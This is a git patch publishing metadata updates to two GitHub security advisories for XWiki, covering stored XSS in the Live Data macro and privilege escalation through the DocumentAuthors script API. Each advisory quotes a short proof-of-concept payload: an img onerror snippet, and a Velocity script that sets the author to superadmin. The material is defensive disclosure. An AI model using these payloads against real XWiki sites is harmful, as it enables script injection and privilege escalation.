From b056cb15e6f48492e4589b16cf99e95bdf2e5fc9 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
 <45398580+advisory-database[bot]@users.noreply.github.com>
Date: Thu, 6 Feb 2025 20:03:32 +0000
Subject: [PATCH] Publish Advisories

GHSA-hmm7-6ph9-8jf2
GHSA-pwfv-3cvg-9m4c
---
 .../2023/04/GHSA-hmm7-6ph9-8jf2/GHSA-hmm7-6ph9-8jf2.json      | 4 ++--
 .../2023/04/GHSA-pwfv-3cvg-9m4c/GHSA-pwfv-3cvg-9m4c.json      | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/advisories/github-reviewed/2023/04/GHSA-hmm7-6ph9-8jf2/GHSA-hmm7-6ph9-8jf2.json b/advisories/github-reviewed/2023/04/GHSA-hmm7-6ph9-8jf2/GHSA-hmm7-6ph9-8jf2.json
index 18ada26acbd..b8e1e36e437 100644
--- a/advisories/github-reviewed/2023/04/GHSA-hmm7-6ph9-8jf2/GHSA-hmm7-6ph9-8jf2.json
+++ b/advisories/github-reviewed/2023/04/GHSA-hmm7-6ph9-8jf2/GHSA-hmm7-6ph9-8jf2.json
@@ -1,13 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-hmm7-6ph9-8jf2",
-  "modified": "2023-04-26T17:02:56Z",
+  "modified": "2025-02-06T20:02:37Z",
   "published": "2023-04-12T20:36:36Z",
   "aliases": [
     "CVE-2023-29508"
   ],
   "summary": "org.xwiki.platform:xwiki-platform-livedata-macro vulnerable to Basic Cross-site Scripting",
-  "details": "### Impact\nA user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.\n\nFor instance, by adding the LiveData below in the about section of the profile of a user created by an admin.\n\n```javascript\n{{liveData id=\"movies\" properties=\"title,description\"}}\n{\n  \"data\": {\n    \"count\": 1,\n    \"entries\": [\n      {\n        \"title\": \"Meet John Doe\",\n        \"url\": \"https://www.imdb.com/title/tt0033891/\",\n        \"description\": \"<img onerror='alert(1)' src='foo' />\"\n      }\n    ]\n  },\n  \"meta\": {\n    \"propertyDescriptors\": [\n      {\n        \"id\": \"title\",\n        \"name\": \"Title\",\n        \"visible\": true,\n        \"displayer\": {\"id\": \"link\", \"propertyHref\": \"url\"}\n      },\n      {\n        \"id\": \"description\",\n        \"name\": \"Description\",\n        \"visible\": true,\n        \"displayer\": \"html\"\n      }\n    ]\n  }\n}\n{{/liveData}}\n```\n\n### Patches\nThis has been patched in XWiki 14.10, 14.4.7, and 13.10.11.\n\n### Workarounds\nNo known workaround.\n\n### References\n- https://jira.xwiki.org/browse/XWIKI-20312\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Jira](http://jira.xwiki.org/)\n* Email us at [Security ML](mailto:security@xwiki.org)\n",
+  "details": "### Impact\nA user without script rights can introduce a stored XSS by using the Live Data macro, if the last author of the content of the page has script rights.\n\nFor instance, by adding the LiveData below in the about section of the profile of a user created by an admin.\n\n```javascript\n{{liveData id=\"movies\" properties=\"title,description\"}}\n{\n  \"data\": {\n    \"count\": 1,\n    \"entries\": [\n      {\n        \"title\": \"Meet John Doe\",\n        \"url\": \"https://www.imdb.com/title/tt0033891/\",\n        \"description\": \"<img onerror='alert(1)' src='foo' />\"\n      }\n    ]\n  },\n  \"meta\": {\n    \"propertyDescriptors\": [\n      {\n        \"id\": \"title\",\n        \"name\": \"Title\",\n        \"visible\": true,\n        \"displayer\": {\"id\": \"link\", \"propertyHref\": \"url\"}\n      },\n      {\n        \"id\": \"description\",\n        \"name\": \"Description\",\n        \"visible\": true,\n        \"displayer\": \"html\"\n      }\n    ]\n  }\n}\n{{/liveData}}\n```\n\n### Patches\nThis has been patched in XWiki 14.10, 14.4.7, and 13.10.11.\n\n### Workarounds\nNo known workaround.\n\n### References\n- https://jira.xwiki.org/browse/XWIKI-20312\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Jira](http://jira.xwiki.org/)\n* Email us at [Security ML](mailto:security@xwiki.org)",
   "severity": [
     {
       "type": "CVSS_V3",
diff --git a/advisories/github-reviewed/2023/04/GHSA-pwfv-3cvg-9m4c/GHSA-pwfv-3cvg-9m4c.json b/advisories/github-reviewed/2023/04/GHSA-pwfv-3cvg-9m4c/GHSA-pwfv-3cvg-9m4c.json
index 86c5267e385..1473904fda2 100644
--- a/advisories/github-reviewed/2023/04/GHSA-pwfv-3cvg-9m4c/GHSA-pwfv-3cvg-9m4c.json
+++ b/advisories/github-reviewed/2023/04/GHSA-pwfv-3cvg-9m4c/GHSA-pwfv-3cvg-9m4c.json
@@ -1,13 +1,13 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-pwfv-3cvg-9m4c",
-  "modified": "2023-04-26T20:32:48Z",
+  "modified": "2025-02-06T20:02:23Z",
   "published": "2023-04-12T20:36:28Z",
   "aliases": [
     "CVE-2023-29507"
   ],
   "summary": "org.xwiki.platform:xwiki-platform-oldcore makes Incorrect Use of Privileged APIs with DocumentAuthors",
-  "details": "### Impact\n\nThe Document script API returns directly a DocumentAuthors allowing to set any authors to the document, which in consequence can allow subsequent executions of scripts since this author is used for checking rights. \nExample of such attack:\n\n```\n{{velocity}}\n$doc.setContent('{{velocity}}$xcontext.context.authorReference{{/velocity}}')\n$doc.authors.setContentAuthor('xwiki:XWiki.superadmin')\n$doc.getRenderedContent()\n{{/velocity}}\n```\n\n### Patches\nThe problem has been patched in XWiki 14.10 and 14.4.7 by returning a safe script API.\n\n### Workarounds\nThere no easy workaround apart of upgrading. \n\n### References\n\n  * https://jira.xwiki.org/browse/XWIKI-20380\n  * https://github.com/xwiki/xwiki-platform/commit/905cdd7c421dbf8c565557cdc773ab1aa9028f83\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](https://jira.xwiki.org)\n* Email us at [security ML](mailto:security@xwiki.org)\n",
+  "details": "### Impact\n\nThe Document script API returns directly a DocumentAuthors allowing to set any authors to the document, which in consequence can allow subsequent executions of scripts since this author is used for checking rights. \nExample of such attack:\n\n```\n{{velocity}}\n$doc.setContent('{{velocity}}$xcontext.context.authorReference{{/velocity}}')\n$doc.authors.setContentAuthor('xwiki:XWiki.superadmin')\n$doc.getRenderedContent()\n{{/velocity}}\n```\n\n### Patches\nThe problem has been patched in XWiki 14.10 and 14.4.7 by returning a safe script API.\n\n### Workarounds\nThere no easy workaround apart of upgrading. \n\n### References\n\n  * https://jira.xwiki.org/browse/XWIKI-20380\n  * https://github.com/xwiki/xwiki-platform/commit/905cdd7c421dbf8c565557cdc773ab1aa9028f83\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](https://jira.xwiki.org)\n* Email us at [security ML](mailto:security@xwiki.org)",
   "severity": [
     {
       "type": "CVSS_V3",